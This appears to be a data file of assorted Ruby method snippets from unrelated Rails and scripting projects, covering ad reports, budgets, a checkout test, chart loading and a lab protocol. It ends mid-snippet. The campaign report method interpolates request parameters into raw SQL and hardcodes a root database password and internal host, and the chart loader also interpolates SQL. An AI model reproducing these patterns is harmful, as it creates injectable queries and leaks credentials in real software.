"def campaignPerformanceReport(month, year, typeOfReport, campaignId, campaignName, basedOn, orderBy, userId)\n puts \"campaign performance is coming here to get the details\" \n #begin \n \n puts image_name = \"campaign_report_#{campaignId}_#{typeOfReport}_#{month}_#{year}_#{basedOn}\"\n \n month_id = MONTH_HASH[month]\n impressions = Array.new #for all campaign, impressions will be calculate per month and for a particular campaign, it will be calculate per week \n # clicks = Array.new #for all campaign, clicks will be calculate per month and for a particular campaign, it will be calculate per week \n labels = Array.new\n label_hash = Hash.new\n puts title = \"Performance of #{campaignName} for the month of #{month}, #{year}\"\n puts axis_title = \"#{basedOn}\"\n # sql = \"select sum(#{basedOn}) as #{basedOn}, dayofmonth(bill_date_time) as day from addeliveries where campaign_id=#{campaignId} and date_format(bill_date_time, '%m')=#{month_id} and date_format(bill_date_time, '%Y')=#{year} group by day\"\n # puts sql\n #begin\n #@dbh = DBI.connect(DATABASE, USERNAME,PASSWORD)\n puts \"executing sql before statement\"\n sql=\"select sum(#{basedOn}) as #{basedOn}, dayofmonth(delivery_time) as day from adsdeliveries where campaign_id=#{campaignId} and date_format(delivery_time, '%m')=#{month_id} and date_format(delivery_time, '%Y')=#{year} group by day\"\n puts \"start------- #{sql}\"\n begin\n @impressions_active=Adsdelivery.find_by_sql(sql)\n rescue\n Adsdelivery.establish_connection( \n :adapter => \"mysql\", \n :host => \"192.168.1.4\", \n :database => \"zestadz_development\",\n :username => \"root\",\n :password => \"sqlworx@ch\"\n )\n @impressions_active=Adsdelivery.find_by_sql(sql)\n end\n #impressions_sql = @dbh.prepare(sql)\n #impressions_sql.execute\n \n @impressions_active.each do |imp|\n impressions << imp.impressions if basedOn=='impressions'\n impressions << imp.clicks if basedOn=='clicks'\n labels << imp.day\n end\n #impressions_sql = @dbh.prepare(sql)\n puts \"running\"\n #impressions_sql.execute\n puts \"end\"\n #puts impressions_sql\n puts \"executing sql after statement\"\n \n puts \"executing while loop before statement\"\n # sth.fetch do |row|\n # printf \"ID: %d, Name: %s, Height: %.1f\\n\", row[0], row[1], row[2]\n # end\n # sth.finish\n \n \n # rescue Exception=>e\n # puts \"An Exception was thrown while sure executing the sql in campaign report\"+e.to_s\n # @dbh = DBI.connect(DATABASE, USERNAME,PASSWORD)\n # impressions_sql = @dbh.prepare(sql)\n # impressions_sql.execute\n # end\n ## puts \"user id is coming here #{userId.to_s}\"\n #while row=impressions_sql.fetch do\n #puts impressions << row[0].to_i\n # puts labels << row[1].to_s\n #end\n puts \"executing while loop after statement\"\n puts \"user id is coming here #{userId.to_s}\"\n for i in 0...labels.size\n label_hash[i] = labels[i].to_s\n end\n create_directory(\"#{@@rails_root}/public/images/reports/\", userId.to_s)\n if(typeOfReport=='Line')\n puts \"inside the function call\"\n build_image image_name, userId, impressions, label_hash, title, axis_title, nil, 550, true \n puts \"inside the function after call\"\n elsif(typeOfReport=='Area')\n build_land_chart image_name, userId, impressions, label_hash, title, axis_title, nil, 550\n elsif(typeOfReport=='Pie')\n build_pie_chart image_name, userId, impressions, label_hash, title, axis_title, nil, 550\n elsif(typeOfReport=='Bar')\n build_bar_chart image_name, userId, impressions, label_hash, title, axis_title, nil, 550\n end\n print \"\\nSuccesfully generated the campaign performance report\"\n #rescue Exception=>e\n # puts \"An Exception was thrown in Campaign Performance Report\"\n # end\n end",
"def strategy\n temp = {}\n #format temp[L1:L2:L3] = index\n current_user.reports.each do |report|\n l1 = (report.l1_attended.to_f/(report.l1_total.to_f.nonzero? || 1 ))*100\n l2 = (report.l2_attended.to_f/(report.l2_total.to_f.nonzero? || 1 ))*100\n l3 = (report.l3_attended.to_f/(report.l3_total.to_f.nonzero? || 1 ))*100\n temp[\"#{l1}:#{l2}:#{l3}\"] = (report.l1_attended.to_f/report.l1_total.to_f)*100 + (report.l2_attended.to_f/report.l2_total.to_f)*10 + (report.l3_attended.to_f/report.l3_total.to_f)\n end\n best = temp.max[0]\n @personal_best = \"L1 : \" + best.split(\":\")[0].to_s + \"% \" + \"L2 : \" + best.split(\":\")[1].to_s + \"% \" + \"L3 : \" + best.split(\":\")[2].to_s + \"% \"\n learning_curve_strategy\n data_presenter_new 'attended'\n end",
"def config\n puts <<-END\ngraph_title puppet clients usage\ngraph_vlabel clients\nknown_clients.label Known Clients\navg_compile.label Average configuration compile\nlast5m_count.label Clients in the last 5 minutes\nlast24h_unique_count.label unique clients in the last 24 hours\ngraph_category puppet\nEND\n exit 0\nend",
"def gtotal\n # ToDo: Change the hard coded report to a Report setting, or client base\n raise 'Hard coded report implementation' unless RAILS_ENV =~ /susbkk/\n end",
"def setup\n TestUtils.set_workday_default\n TestUtils.enable_module_on_project 1\n @request.session[:user_id] = 1\n @rc_cfg = Red_Counter::Config.new\n end",
"def set_prepaid_constants\n\n @atm_owner_fee = 2.50 #fee charged by ATM owners\n\n @direct_dep = false #true -- has direct depoist. Values: true or false, case doesn't matter\n @wkly_trans = 8 #number of signature transactions\n @wkly_atm_in_net = 1 #number of atm in network cash withdrawels\n @wkly_atm_out_net = 0 #number of atm out of network cash withdrawals \n @mthly_load = 1000 #average cash loaded to card\n @mthly_loads = 0 #number of loads\n @wkly_atm_inq = 0 #number of atm balance inquiries\n @calls = 0 #live customer service per month \n @prepaid_duration = 24 #numner of months keeping the card \n\n @max_wkly_purchase = 20\n @max_wkly_atm_in_net = 10 #number of atm cash withdrawels\n @max_wkly_atm_out_net = 10 #number of atm cash withdrawels \n @max_mthly_load = 4000 # total amount of cash loaded onto card\n @max_mthly_loads = 8 #number of loads\n @max_wkly_atm_inq = 10 #number of atm balance inquiries\n @max_calls = 10 #number of calls to customer service per month\n @max_prepaid_duration = 48 #length of ownership\n\n end",
"def show\n\n\n @budget = Budget.find(params[:id])\n @incomev = \t\t\t @budget.income\n @savingv = \t\t\t @budget.income * 0.05 unless @budget.income.nil?\n @housingv = \t\t @budget.income * 0.24 unless @budget.income.nil?\n @utilitiev = \t\t @budget.income * 0.05 unless @budget.income.nil?\n @foodv = \t\t\t @budget.income * 0.08 unless @budget.income.nil?\n @transportationv = @budget.income * 0.09 unless @budget.income.nil?\n @clothingv = \t\t @budget.income * 0.07 unless @budget.income.nil?\n @personalv = \t\t @budget.income * 0.09 unless @budget.income.nil?\n @recreationv = \t \t@budget.income * 0.09 unless @budget.income.nil?\n @debtv = \t\t\t @budget.income * 0.09 unless @budget.income.nil?\n @kidv = \t\t\t @budget.income * 0.18 unless @budget.income.nil?\n\n @savingx = @budget.savings\n @housingx = @budget.housing\n @utilitiex = @budget.utilities\n @foodx = \t@budget.food\n @transportationx = @budget.transportation\n @clothingx = @budget.clothing\n @personalx = @budget.personal\n @recreationx = @budget.recreation\n @debtx = @budget.debt\n @kidx = @budget.kids\n\n\n\n\n\n @total_suggested = @savingv + @housingv + @utilitiev + @foodv + @transportationv + @clothingv + @personalv + @recreationv + @debtv + @kidv\n @total_actual = @savingx + @housingx + @utilitiex + @foodx + @transportationx + @clothingx + @personalx + @recreationx + @debtx + @kidx\n\n\n if @savingv > @savingx\n\n @savingz = (@savingv - @savingx)\n else\n @savingz = (@savingx - @savingv)\n end\n\n\n if @housingv > @housingx\n\n @housingz = (@housingv - @housingx)\n else\n @housingz = (@housingx - @housingv)\n end\n\n\n if @utilitiev > @utilitiex\n\n @utilitiez = (@utilitiev - @utilitiex)\n else\n @utilitiez = (@utilitiex - @utilitiev)\n end\n\n\n if @foodv > @foodx\n @foodz = (@foodv - @foodx)\n else\n @foodz = (@foodx - @foodv)\n end\n\n\n if @transportationv > @transportationx\n @transportationz = (@transportationv - @transportationx)\n else\n @transportationz = (@transportationx - @transportationv)\n end\n\n if @clothingv > @clothingx\n @clothingz = (@clothingv - @clothingx)\n else\n @clothingz = (@clothingx - @clothingv)\n end\n\n\n if @personalv > @personalx\n @personalz = (@personalv - @personalx)\n else\n @personalz = (@personalx - @personalv)\n end\n\n if @recreationv > @recreationx\n @recreationz = (@recreationv - @recreationx)\n else\n @recreationz = (@recreationx - @recreationv)\n end\n\n if @debtv > @debtx\n @debtz = (@debtv - @debtx)\n else\n @debtz = (@debtx - @debtv)\n end\n\n if @kidv > @kidx\n @kidz = (@kidv - @kidx)\n else\n @kidz = (@kidx - @kidv)\n end\n\n end",
"def execute\n super()\n\n # executes test case info\n\n # workaround pages that need to login to secondary domains\n auth_workarounds()\n\n # Change this to 0 to get retries in buyflow test\n timeout_count = 1 \n \n begin\n puts @report.url\n\n # Navigate to the site\n @page.browser.driver.browser.get @report.url if(@report.url)\n\n\n\n\n\n # ------------ Marketing section, Landing Page ------------ \n\n @report.browser = @page.browser_name\n\n\n # pull the operating System from the user agent or other sources\n @report.os = @page.os_name\n\n # pull the brand from the page variables or domain\n @report.buyflow_report.brand = @page.brand\n\n # pull the uci code from omniture\n @report.uci_report.uci_mp = @page.uci\n\n if(@configuration['Brand'] == 'Marajo' || @configuration['Brand'] == 'smileactives')\n puts \"products hiiiiiiiii\"\n @page = @page.go_to_productpage()\n puts \"done product button\"\n else\n puts \"going to order page\"\n @page = @page.go_to_orderpage()\n puts @page\n puts \"done fetching orderpage\"\n end\n\n # navigate to the SAS page if that page section isn't present.\n # @page = @page.go_to_orderpage()\n\n\n\n\n @report.buyflow_report.lastpagefound = \"sas\"\n\n # ------------ SAS Section ------------ \n\n @report.uci_report.uci_sas = @page.uci\n \n # If an offer is not present in test\n if(@offer == nil)\n # navigate to the cart using default options\n @page = @page.skip_to_cart\n else\n # ...otherwise select the options defined by the offer\n \n @page = @page.select_options(@offer)\n end\n\n # exclude_from_selection_workaround = BrandsExcludedSelectionWorkaround.all.select('brand').collect(&:brand)\n # if(@offer)\n # if(timeout_count == 1 && @offer['OfferCode'])\n # if(exclude_from_selection_workaround.include?(@configuration[\"Brand\"].downcase) == false)\n # selection_workaround(@page.browser)\n # end\n # end\n # end\n\n \n\n\nputs \"Proceed to cart section\"\n\n # ------------ Cart Section ------------ \n\n @report.uci_report.uci_op = @page.uci\n\n @report.buyflow_report.lastpagefound = \"cart\"\n\n @report.buyflow_report.offer_code = @page.offercode\n puts \"offercode\"\n puts @report.buyflow_report.offer_code\n\n @report.grcid = @page.grcid\n puts \"grcid\"\n puts @report.grcid\n\n # catch_and_display_error do\n\n @report.buyflow_report.total_pricing = @page.total_pricing\n puts \"total_pricing\"\n puts @report.buyflow_report.total_pricing\n\n @report.buyflow_report.subtotal_price = @page.subtotal_price\n puts \"subtotal_price\"\n puts @report.buyflow_report.subtotal_price\n\n # pull the pricing for the SAS for any sections still in the same page as the cart\n begin\n @report.buyflow_report.saspricing = @page.check_sas_pricing(@report.buyflow_report.subtotal_price)\n rescue => e\n @report.buyflow_report.saspricing = \"No Offer Associated with this Test\"\n end\n \n @report.buyflow_report.saspricing = '' if @report.buyflow_report.saspricing == nil\n puts \"saspricing\"\n puts @report.buyflow_report.saspricing\n @report.buyflow_report.sasprices = @page.check_sas_prices\n puts \"sasprices\"\n puts @report.buyflow_report.sasprices\n\n # pull the cart description from the order summary section\n @report.buyflow_report.cart_language = @page.cart_description\n puts \"cart description\"\n puts @report.buyflow_report.cart_language\n\n @report.buyflow_report.cart_title = @page.cart_title\n puts \"productname\"\n puts @report.buyflow_report.cart_title\n\n @report.buyflow_report.sas_kit_name = @page.check_sas_kit_name(@report.buyflow_report.cart_title)\n\n @report.buyflow_report.kitnames = @page.cart_title\n\n @report.buyflow_report.cart_quantity = @page.quantity\n puts \"quantity\"\n puts @report.buyflow_report.cart_quantity\n\n if(@report.buyflow_report.cart_quantity.nil?)\n @report.buyflow_report.cart_quantity = \"[Quantity Dropdown Missing] - Locator may be missing\"\n end\n\n @report.buyflow_report.shipping_standard = @page.shipping('Standard')\n puts \"shipping\"\n puts @report.buyflow_report.shipping_standard\n \n # Rush Shipping\n @report.buyflow_report.shipping_rush = @page.shipping('Rush') \n\n # Overnight Shipping\n @report.buyflow_report.shipping_overnight = @page.shipping('Overnight')\n\n @report.buyflow_report.shipping_standard = 'N/A' if @report.buyflow_report.shipping_standard.nil?\n \n @report.buyflow_report.shipping_rush = 'N/A' if @report.buyflow_report.shipping_rush.nil?\n\n @report.buyflow_report.shipping_overnight = 'N/A' if @report.buyflow_report.shipping_overnight.nil?\n\n if(@offer)\n @offer.each do |offer|\n # Continuity Shipping \n @report.buyflow_report.continuity_shipping = @page.continuity(offer)\n puts \"Continuity\"\n puts @report.buyflow_report.continuity_shipping\n end\n end\n # end\n\n # get the shipping selection price\n puts \"cart_shipping_selection_price\"\n cart_shipping_selection_price = @page.current_shipping_cost\n puts cart_shipping_selection_price\n\n @page.place_order(@configuration['ConfEmailOverride'])\n\n # Submit order in order to reach confirmation page\n @page = @page.submit_order\n\n # ------------ Confirmation Page ------------\n\n puts \"proceeding to confirmation page\"\n\n @page.expand_order_details()\n \n # pull the confirmation number\n @report.buyflow_report.confirmation_number = @page.get_confirmation_number\n\n @report.buyflow_report.lastpagefound = \"confirmation page\"\n # pull the uci number for the confirmation page\n @report.uci_report.uci_cp = @page.uci\n\n # Compare the billing and shipping information to the data that was entered in the cart\n check_billing_info(@report.buyflow_report, @page)\n\n # get the offer code from the confirmation page\n @report.buyflow_report.confoffercode = @page.offercode\n\n # get the confirmation page pricing for the main product\n @report.buyflow_report.confpricing = @page.confpricing\n\n # check the shipping price matches the shipping selected in the cart\n puts \"shipping_conf\"\n shipping_conf = @page.conf_shipping_price\n puts shipping_conf\n\n if(shipping_conf == cart_shipping_selection_price)\n @report.buyflow_report.shipping_conf = \"match\"\n @report.buyflow_report.shipping_conf_val = shipping_conf\n @report.buyflow_report.selected_shipping = cart_shipping_selection_price\n else\n begin\n @report.buyflow_report.shipping_conf_val = shipping_conf\n\n rescue\n end\n begin\n @report.buyflow_report.selected_shipping = cart_shipping_selection_price\n rescue\n\n end\n begin\n @report.buyflow_report.shipping_conf = shipping_conf.to_s + \" - expected: \" + cart_shipping_selection_price.to_s\n rescue\n @report.buyflow_report.shipping_conf = \"Problem with gathering data: confirmation - \" + shipping_conf.class.to_s + \" cart - \" + cart_shipping_selection_price.class.to_s\n end\n end\n\n @report.buyflow_report.conf_kit_name = @page.cart_title\n\n # -------- Failure Checks ---------\n if(@report.grcid.nil?)\n fail 'GRCID not found for this page (AKA Campaign Code)'\n end\n\n if(@report.uci_report.uci_mp.nil?)\n fail 'UCI code for Marketing section was not found'\n end\n\n if(@report.uci_report.uci_op.nil?)\n fail 'UCI code for Cart section was not found'\n end\n \n if(@report.uci_report.uci_sas.nil?)\n fail 'UCI code for SAS section was not found'\n end \n \n if(@report.uci_report.uci_cp.nil?)\n fail 'UCI code for Confirmation page was not found'\n end\n\n if(@report.buyflow_report.subtotal_price.nil?)\n fail 'subtotal price was not found'\n end\n\n if(@report.buyflow_report.cart_title.to_s.downcase.include? 'kit')\n if(@report.buyflow_report.cart_language.nil?)\n fail 'cart language was not found'\n end\n end\n\n if(@report.buyflow_report.cart_title.nil?)\n fail 'cart title was not found'\n end\n\n # Check Shipping matches given offer if present\n if(@offer)\n if(@offer.length == 1)\n @offer.each do |offer|\n if(@report.buyflow_report.shipping_standard != offer['StartSH'].gsub('$','').strip())\n fail \"Shipping price did not match - #{offer.Offer.to_s} - Entry -a #{@report.buyflow_report.shipping_standard} -e #{offer['StartSH'].gsub('$','').strip()}\"\n end\n\n if(@report.buyflow_report.shipping_rush != offer['Rush'].gsub('$','').strip())\n fail \"Shipping price did not match - #{offer.Offer.to_s} - Rush -a #{@report.buyflow_report.shipping_rush} -e #{offer['Rush'].gsub('$','').strip()}\"\n end\n\n if(@report.buyflow_report.shipping_overnight != offer['OND'].gsub('$','').strip())\n fail \"Shipping price did not match - #{offer.Offer.to_s} - OND -a #{@report.buyflow_report.shipping_overnight} -e #{offer['OND'].gsub('$','').strip()}\"\n end\n end\n else\n standard_data = ''\n rush_data = ''\n ond_data = ''\n if((@report.buyflow_report.cart_title.to_s.downcase.include? 'kit') && (@report.buyflow_report.brand == 'Marajo'))\n @offer.each do |offer|\n next unless offer.Offer.to_s.downcase.include? 'kit'\n standard_data = offer['StartSH'].gsub('$','').strip()\n rush_data = offer['Rush'].gsub('$','').strip()\n ond_data = offer['OND'].gsub('$','').strip()\n break\n end\n else\n standard_data = '$0.00'\n @offer.each do |offer|\n rush_data = offer['Rush'].gsub('$','').strip()\n ond_data = offer['OND'].gsub('$','').strip()\n break\n end\n end\n \n if(@report.buyflow_report.shipping_standard != standard_data.gsub('$','').strip())\n fail \"Shipping price did not match - #{offer.Offer.to_s} - Entry -a #{@report.buyflow_report.shipping_standard} -e #{standard_data.gsub('$','').strip()}\"\n end\n\n if(@report.buyflow_report.shipping_rush != rush_data)\n fail \"Shipping price did not match - #{offer.Offer.to_s} - Rush -a #{@report.buyflow_report.shipping_rush} -e #{rush_data}\"\n end\n\n if(@report.buyflow_report.shipping_overnight != ond_data)\n fail \"Shipping price did not match - #{offer.Offer.to_s} - OND -a #{@report.buyflow_report.shipping_overnight} -e #{ond_data}\"\n end\n end\n end \n\n if(@report.buyflow_report.conf_kit_name.nil?)\n fail 'confirmation kit name was not found'\n end\n\n if(@report.buyflow_report.confpricing.nil?)\n fail 'confirmation price was not found'\n end\n\n if(@report.buyflow_report.billname == 'FAILED' || @report.buyflow_report.billaddress == 'FAILED' || @report.buyflow_report.billemail == 'FAILED' || @report.buyflow_report.shipaddress == 'FAILED')\n fail 'The billing/shipping info on the confirmation page did not match data input on cart page'\n end\n\n if(@report.buyflow_report.shipping_conf != 'match')\n fail 'Shipping did not match cart on confirmation page' \n end\n\n if(@report.buyflow_report.confoffercode.nil?)\n fail 'Could not find Offer code on the confirmation page'\n end\n\n if(@report.buyflow_report.offer_code.nil?)\n fail 'Could not find Offer code on the cart page'\n end\n\n if(@offer)\n @offer.each do |offer|\n puts @report.buyflow_report.offer_code\n puts @report.buyflow_report.confoffercode\n puts offer.OfferCode.to_s\n if(@report.buyflow_report.expected_offer_code)\n if @report.buyflow_report.offer_code.to_s.downcase.include?(offer.OfferCode.to_s.downcase) == false\n raise \"OfferCode didn't match in cart page\"\n end\n end\n\n if(@report.buyflow_report.expected_offer_code)\n if @report.buyflow_report.confoffercode.to_s.downcase.include?(offer.OfferCode.to_s.downcase) == false\n raise \"OfferCode didn't match in confirmation page\"\n end\n end\n# puts offer.offer_data_detail.offerdesc\n# puts @report.buyflow_report.cart_language\n if(offer.offer_data_detail)\n if(@report.buyflow_report.cart_language)\n if cleanup_format(@report.buyflow_report.cart_language).include?(cleanup_format(offer.offer_data_detail.offerdesc)) == false\n raise \"Cart language did not match\"\n end\n end\n\n if(@report.buyflow_report.cart_title)\n if @report.buyflow_report.cart_title.to_s.downcase.include?(offer.offer_data_detail.offer_title.to_s.downcase) == false\n raise \"Cart title did not match\"\n end\n end\n else\n if(@report.buyflow_report.cart_title)\n if @report.buyflow_report.cart_title.to_s.downcase.include?(offer.Offer.to_s.downcase) == false\n raise \"Cart title did not match\"\n end\n end\n end\n end\n end\n\n # ------- end of testing --------\n\n\n rescue T5::PasswordMatchException => e\n raise e\n\n rescue Net::ReadTimeout, Selenium::WebDriver::Error::UnknownError => e\n net_timeout_timeout = 0\n begin\n net_timeout_timeout += 1\n sleep(5)\n soft_browser_quit()\n # create browser for new attempt\n @browser = BrowserFactory.create_browser(@browsertype)\n\n # instatiate the starting page model\n @page = T5::Marketing.new(@configuration)\n \n # set the browser session to the current one held by the test case\n @page.browser = @browser\n \n # adapt the page based on the configuration settings\n @page = @page.adapt\n\n auth_workarounds()\n exp = @report.buyflow_report.expected_offer_code\n @report.buyflow_report = GRReporting::BuyflowReport.new()\n @report.buyflow_report.expected_offer_code = exp\n rescue => exc\n if net_timeout_timeout < 5\n retry\n else\n raise e\n end\n end\n retry\n rescue => e\n timeout_count += 1;\n # Change the limit of retries here.\n raise e if(timeout_count > 1)\n soft_browser_quit()\n @browser = BrowserFactory.create_browser(@browsertype)\n\n # instatiate the starting page model\n @page = T5::Marketing.new(@configuration)\n \n # set the browser session to the current one held by the test case\n @page.browser = @browser\n \n # adapt the page based on the configuration settings\n @page = @page.adapt\n\n auth_workarounds()\n exp = @report.buyflow_report.expected_offer_code\n @report.buyflow_report = GRReporting::BuyflowReport.new()\n @report.buyflow_report.expected_offer_code = exp\n retry\n end\n end",
"def load_from_db #TODO - now we load it simply for phase 1 - from the view, has to be redone to actually work well\n res = $dbh.query(\"SELECT * FROM ocpn_nga_charts_with_params WHERE number=#{@number}\")\n\n while row = res.fetch_hash do\n #puts row.inspect\n @pre_rotate = row[\"prerotate\"].to_i\n @corner_size = row[\"cornersize\"].to_i\n @bsb = BSB.new\n @bsb.comment = \"!This chart originates from\n!http://www.nauticalcharts.noaa.gov/mcd/OnLineViewer.html\n!DO NOT USE FOR NAVIGATION\n!Use official, full scale nautical charts for real-world navigation.\n!These are available from authorized nautical chart sales agents.\n!Screen captures of the charts available here do NOT fulfill chart\n!carriage requirements for regulated commercial vessels under\n!Titles 33 and 46 of the Code of Federal Regulations.\"\n @bsb.ver = \"2.0\"\n @bsb.crr = \"This chart is released by the OpenCPN.info - NGA chart project.\"\n @bsb.cht_na = row[\"title\"]\n @bsb.cht_nu = row[\"number\"]\n @bsb.chf = row[\"bsb_chf\"]\n @bsb.org = \"NGA\"\n @bsb.mfr = \"NGA chart project\"\n @bsb.cgd = 0\n @bsb.ced_se = row[\"date\"] #row[\"edition\"]\n @bsb.ced_re = 1 #TODO - parameter of our process\n @bsb.ced_ed = 1 #TODO - parameter of our process\n @bsb.ntm_ne = row[\"edition\"]\n @bsb.ntm_nd = row[\"correction\"]\n @bsb.ntm_bf = \"UNKNOWN\"\n @bsb.ntm_bd = \"UNKNOWN\"\n \n ki = KAPinfo.new\n ki.idx = @bsb.kap.length + 1\n ki.na = row[\"title\"]\n ki.nu = row[\"number\"]\n ki.ty = row[\"bsb_type\"]\n ki.fn = row[\"number\"] + \".kap\"\n @bsb.kap << ki\n @bsb.chk = @bsb.kap.length\n \n kap = KAPHeader.new\n kap.comment = \"!This chart originates from\n!http://www.nauticalcharts.noaa.gov/mcd/OnLineViewer.html\n!DO NOT USE FOR NAVIGATION\n!Use official, full scale nautical charts for real-world navigation.\n!These are available from authorized nautical chart sales agents.\n!Screen captures of the charts available here do NOT fulfill chart\n!carriage requirements for regulated commercial vessels under\n!Titles 33 and 46 of the Code of Federal Regulations.\"\n kap.ver = \"2.0\"\n kap.crr = \"This chart is released by the OpenCPN.info - NGA chart project.\"\n kap.bsb_na = row[\"title\"]\n kap.bsb_nu = row[\"number\"]\n if (@pre_rotate != 90 && @pre_rotate != 270)\n kap.bsb_ra = [row[\"width\"].to_i, row[\"height\"].to_i]\n else\n kap.bsb_ra = [row[\"height\"].to_i, row[\"width\"].to_i]\n end\n kap.bsb_du = 72 # TODO - Will we bother with the DPI claculation?\n \n kap.ced_se = row[\"date\"] #row[\"edition\"]\n kap.ced_re = 1 #TODO - parameter of our process\n kap.ced_ed = 1 #TODO - parameter of our process\n \n kap.knp_sc = row[\"scale\"]\n kap.knp_gd = row[\"GD\"] # should be used in case we don't have a datum for plotting available - it's handled by compute_gd later\n kap.knp_pr = row[\"PR\"]\n kap.knp_pp = row[\"PP\"]\n kap.knp_pi = \"UNKNOWN\"\n kap.knp_sk = 0.0 #TODO - generally we do not want the skewed charts, but...\n kap.knp_ta = 90.0 # probably true for all the charts \n kap.knp_un = row[\"UN\"]\n kap.knp_sd = row[\"SD\"]\n kap.knp_sp = \"UNKNOWN\"\n\n kap.dtm = [-1 * row[\"DTMy\"].to_f * 60, -1 * row[\"DTMx\"].to_f * 60] #convert to seconds and reverse the sign\n if (kap.dtm[0] == -0.0) then kap.dtm[0] = 0.0 end\n if (kap.dtm[1] == -0.0) then kap.dtm[1] = 0.0 end\n kap.dtm_dat = row[\"DTMdat\"]\n kap.ifm = 5 #TODO - parameter of our process\n kap.ost = 1\n \n sw = REF.new\n sw.idx = 1\n sw.x = row[\"Xsw\"].to_i\n sw.y = row[\"Ysw\"].to_i\n sw.latitude = row[\"South\"].to_f\n sw.longitude = row[\"West\"].to_f\n kap.ref << sw\n \n nw = REF.new\n nw.idx = 2\n nw.x = row[\"Xnw\"].to_i\n nw.y = row[\"Ynw\"].to_i\n nw.latitude = row[\"North\"].to_f\n nw.longitude = row[\"West\"].to_f\n kap.ref << nw\n \n ne = REF.new\n ne.idx = 3\n ne.x = row[\"Xne\"].to_i\n ne.y = row[\"Yne\"].to_i\n ne.latitude = row[\"North\"].to_f\n ne.longitude = row[\"East\"].to_f\n kap.ref << ne\n \n se = REF.new\n se.idx = 4\n se.x = row[\"Xse\"].to_i\n se.y = row[\"Yse\"].to_i\n se.latitude = row[\"South\"].to_f\n se.longitude = row[\"East\"].to_f\n kap.ref << se\n \n #TODO: this of course has to be elsewhere, there just because we made it easy and don't count with composite charts\n res = $dbh.query(\"SELECT sequence, latitude, longitude FROM ocpn_nga_kap_point WHERE active = 1 AND point_type = 'PLY' AND kap_id IN (SELECT kap_id FROM ocpn_nga_kap WHERE bsb_type = 'BASE' AND number = #{@number}) ORDER BY sequence\")\n\n while row = res.fetch_hash do\n ply = PLY.new\n ply.idx = row[\"sequence\"].to_i\n ply.latitude = row[\"latitude\"].to_f\n ply.longitude = row[\"longitude\"].to_f\n kap.ply << ply\n end\n \n #when polygon is less than a triangle...\n if kap.ply.length < 3\n kap.ply.clear #clear the (we think erroneous PLY points)\n kap.ply << sw.to_PLY\n kap.ply << nw.to_PLY\n kap.ply << ne.to_PLY\n kap.ply << se.to_PLY\n end\n \n if (kap.knp_pp == nil) then kap.compute_pp end\n kap.compute_cph\n kap.compute_gd\n kap.compute_dxdy\n \n @kaps << kap\n end\n\n res.free\n# $dbh.query(\"UPDATE ocpn_nga_kap SET kap_generated = CURRENT_TIMESTAMP() WHERE bsb_type = 'BASE' AND number=#{@number}\")\n end",
"def update_config_cups kit, cup_layouts,current_customer, approval = false\n cup_count = 0\n cup_layouts.each_with_index do |cup_layout,index|\n cup_layout = cup_layout.sort { |a,b| a[1] <=> b[1] }\n cup = Array.new\n cup_layout.each { |cl| cup << cl.at(1) }\n cup.uniq!\n record_to_sort = Array.new\n cup.each { |record|\n record_to_sort << cup_layout.select { |data| data[1] == record }\n }\n cup_layout = Array.new\n record_to_sort.each { |rec|\n record = rec.sort! { |a,b| a[0] <=> b[0] }\n record.each { |new_rec| cup_layout << new_rec }\n }\n number_of_compartments = cup_layout.count\n for i in 0...number_of_compartments\n cup_id = cup_layout[i].last\n cup = kit.cups.find_by_id(cup_id)\n cup_updated = kit.cups.find_by_commit_id(cup_id)\n if cup_updated.present?\n cup_updated.update_attributes(:cup_dimension => cup_layout[i].join(','), :cup_number => cup_count + i+1)\n else\n if cup\n old_layout = cup.cup_dimension\n if cup.commit_status && old_layout != cup_layout[i].join(',')\n if approval == false\n unless cup_updated\n ActiveRecord::Base.transaction do\n new_cup = cup.dup\n new_cup.save(:validate => false)\n new_cup.update_attributes(:cup_dimension => cup_layout[i].join(','), :commit_status => false, :cup_number => cup_count + i+1, :commit_id => cup.id )\n new_kit = kit.parent_kit_id ? Kitting::Kit.find_by_id(kit.parent_kit_id) : kit\n @dup_kit = Kitting::Kit.find_by_commit_id_and_commit_status(new_kit.id,false)\n if @dup_kit.present?\n @dup_kit.update_attribute(\"updated_by\",current_customer.id)\n else\n @dup_kit = new_kit.dup\n @dup_kit.commit_status = false\n @dup_kit.commit_id = new_kit.id\n @dup_kit.status = 2\n @dup_kit.updated_by= current_customer.id\n @dup_kit.save(:validate => false)\n end\n end\n end\n end\n else\n cup.update_attributes(:cup_dimension => cup_layout[i].join(','), :cup_number => cup_count + i+1)\n end\n else\n cup_count = cup_count + i+ 1\n end\n end\n end\n cup_count = cup_count + (i + 1) if i\n end\n cup_count = 0\n end",
"def set_export_budget\n # -binding.pry\n @export_budget = ExportBudget.find(params[:id])\n end",
"def index\n #@dataset = Dataset.find( params[:dataset_id] )\n @blacklight_configurations = BlacklightConfiguration.order(:configuration)\n\n @title_configuration = BlacklightConfiguration.title_configuration\n @index_configurations = BlacklightConfiguration.all_index_configurations\n @show_configurations = BlacklightConfiguration.all_show_configurations\n @facet_configurations = BlacklightConfiguration.all_facet_configurations\n @search_configurations = BlacklightConfiguration.all_search_configurations\n @sort_configurations = BlacklightConfiguration.all_sort_configurations\n end",
"def main\n \n # make Resuspended Library items\n operations.make\n \n # get quantities before resuspending\n operations.each { |op| op.temporary[:pmole] = op.input(POOL).item.get(:pmole) }\n no_pmole=operations.select { |op| op.temporary[:pmole].nil? }\n if(no_pmole.any?)\n data = show {\n title \"Verify Lyopholized #{OLIGO_POOL} Quantities\"\n note \"The following libraries have no parameters specified. Please enter manually:\"\n table no_pmole.start_table\n .input_item(POOL)\n .get(:pmole, type: 'number', heading: \"Quantity (pmole)\", default: DEFAULT_PMOLE) \n .end_table\n }\n end\n operations.each { |op| \n op.input(POOL).item.associate :pmole, op.temporary[:pmole].to_f \n op.output(OUT_HIGH).item.associate :concentration, TARGET_CONC_NG_PER_UL\n op.output(OUT_LOW).item.associate :concentration, LOW_CONC_NG_PER_UL\n }\n \n # get sublib parameters\n operations.each { |op|\n min_tot=op.input(POOL).item.sample.properties.fetch(MIN_LENGTH).map {|x| x.to_f}.sum\n max_tot=op.input(POOL).item.sample.properties.fetch(MAX_LENGTH).map {|x| x.to_f}.sum\n variants_tot=op.input(POOL).item.sample.properties.fetch(VARIANTS).map {|x| x.to_f}.sum\n num_sublibs=op.input(POOL).item.sample.properties.fetch(MIN_LENGTH).length\n op.temporary[:variants]=variants_tot\n op.temporary[:length]=(0.5*(max_tot+min_tot)/num_sublibs).round\n op.temporary[:sublibs]=num_sublibs\n }\n \n # show user the info for the library BEFORE resuspending\n show {\n title \"Check #{OLIGO_POOL} Parameters before resuspension\"\n table 